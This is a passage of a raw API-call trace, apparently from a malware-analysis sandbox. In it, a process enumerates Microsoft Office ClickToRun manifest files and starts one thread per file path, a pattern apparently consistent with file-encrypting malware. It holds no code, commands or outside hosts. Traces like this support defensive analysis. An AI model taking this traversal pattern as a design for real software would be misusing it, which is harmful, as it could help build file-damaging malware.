returned 1 [0072.653] wcscmp (_String1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf8) returned 0x342c2a0 [0072.653] wcscpy (in: _Dest=0x342c2a0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.653] wcscat (in: _Dest=0x342c2a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.653] wcscat (in: _Dest=0x342c2a0, _Source="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" [0072.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342c2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0072.654] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1 [0072.654] wcscmp (_String1="C2RManifest.osmmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.654] wcscmp (_String1="C2RManifest.osmmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x342c3a0 [0072.654] wcscpy (in: _Dest=0x342c3a0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.654] wcscat (in: _Dest=0x342c3a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.654] wcscat (in: _Dest=0x342c3a0, _Source="C2RManifest.osmmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" [0072.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342c3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0072.654] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1 [0072.654] wcscmp (_String1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.654] wcscmp (_String1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x342c490 [0072.655] wcscpy (in: _Dest=0x342c490, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.655] wcscat (in: _Dest=0x342c490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.655] wcscat (in: _Dest=0x342c490, _Source="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" [0072.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342c490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0072.655] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1 [0072.655] wcscmp (_String1="C2RManifest.osmuxmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.655] wcscmp (_String1="C2RManifest.osmuxmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e5600 [0072.655] wcscpy (in: _Dest=0x33e5600, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.655] wcscat (in: _Dest=0x33e5600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.656] wcscat (in: _Dest=0x33e5600, _Source="C2RManifest.osmuxmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" [0072.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0072.656] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1 [0072.657] wcscmp (_String1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.657] wcscmp (_String1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.657] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x342c598 [0072.657] wcscpy (in: _Dest=0x342c598, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.657] wcscat (in: _Dest=0x342c598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.657] wcscat (in: _Dest=0x342c598, _Source="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" [0072.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342c598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0072.658] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1 [0072.658] wcscmp (_String1="C2RManifest.outlookmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.658] wcscmp (_String1="C2RManifest.outlookmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xee) returned 0x33e5410 [0072.658] wcscpy (in: _Dest=0x33e5410, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.658] wcscat (in: _Dest=0x33e5410, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.658] wcscat (in: _Dest=0x33e5410, _Source="C2RManifest.outlookmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" [0072.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0072.659] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1 [0072.659] wcscmp (_String1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.659] wcscmp (_String1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x114) returned 0x342c6a8 [0072.659] wcscpy (in: _Dest=0x342c6a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.659] wcscat (in: _Dest=0x342c6a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.659] wcscat (in: _Dest=0x342c6a8, _Source="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" [0072.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342c6a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0072.660] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1 [0072.660] wcscmp (_String1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.660] wcscmp (_String1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x114) returned 0x34232a0 [0072.660] wcscpy (in: _Dest=0x34232a0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.660] wcscat (in: _Dest=0x34232a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.660] wcscat (in: _Dest=0x34232a0, _Source="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" [0072.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34232a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0072.661] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1 [0072.661] wcscmp (_String1="C2RManifest.powerpointmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.661] wcscmp (_String1="C2RManifest.powerpointmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.661] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x34233c0 [0072.661] wcscpy (in: _Dest=0x34233c0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.661] wcscat (in: _Dest=0x34233c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.661] wcscat (in: _Dest=0x34233c0, _Source="C2RManifest.powerpointmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" [0072.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34233c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0072.661] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1 [0072.662] wcscmp (_String1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.662] wcscmp (_String1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x34234c0 [0072.662] wcscpy (in: _Dest=0x34234c0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.662] wcscat (in: _Dest=0x34234c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.662] wcscat (in: _Dest=0x34234c0, _Source="C2RManifest.Project.Project.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" [0072.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34234c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0072.662] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1 [0072.662] wcscmp (_String1="C2RManifest.projectmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.662] wcscmp (_String1="C2RManifest.projectmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xee) returned 0x33e5ad8 [0072.663] wcscpy (in: _Dest=0x33e5ad8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.663] wcscat (in: _Dest=0x33e5ad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.663] wcscat (in: _Dest=0x33e5ad8, _Source="C2RManifest.projectmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" [0072.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0072.663] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1 [0072.663] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.en-us.xml", _String2=".") returned 1 [0072.663] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.en-us.xml", _String2="..") returned 1 [0072.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x34235d0 [0072.663] wcscpy (in: _Dest=0x34235d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.663] wcscat (in: _Dest=0x34235d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.663] wcscat (in: _Dest=0x34235d0, _Source="C2RManifest.Proof.Culture.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" [0072.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34235d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0072.664] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1 [0072.664] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.es-es.xml", _String2=".") returned 1 [0072.664] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.es-es.xml", _String2="..") returned 1 [0072.664] RtlAllocateHeap (HeapHandle=0x33c0000, 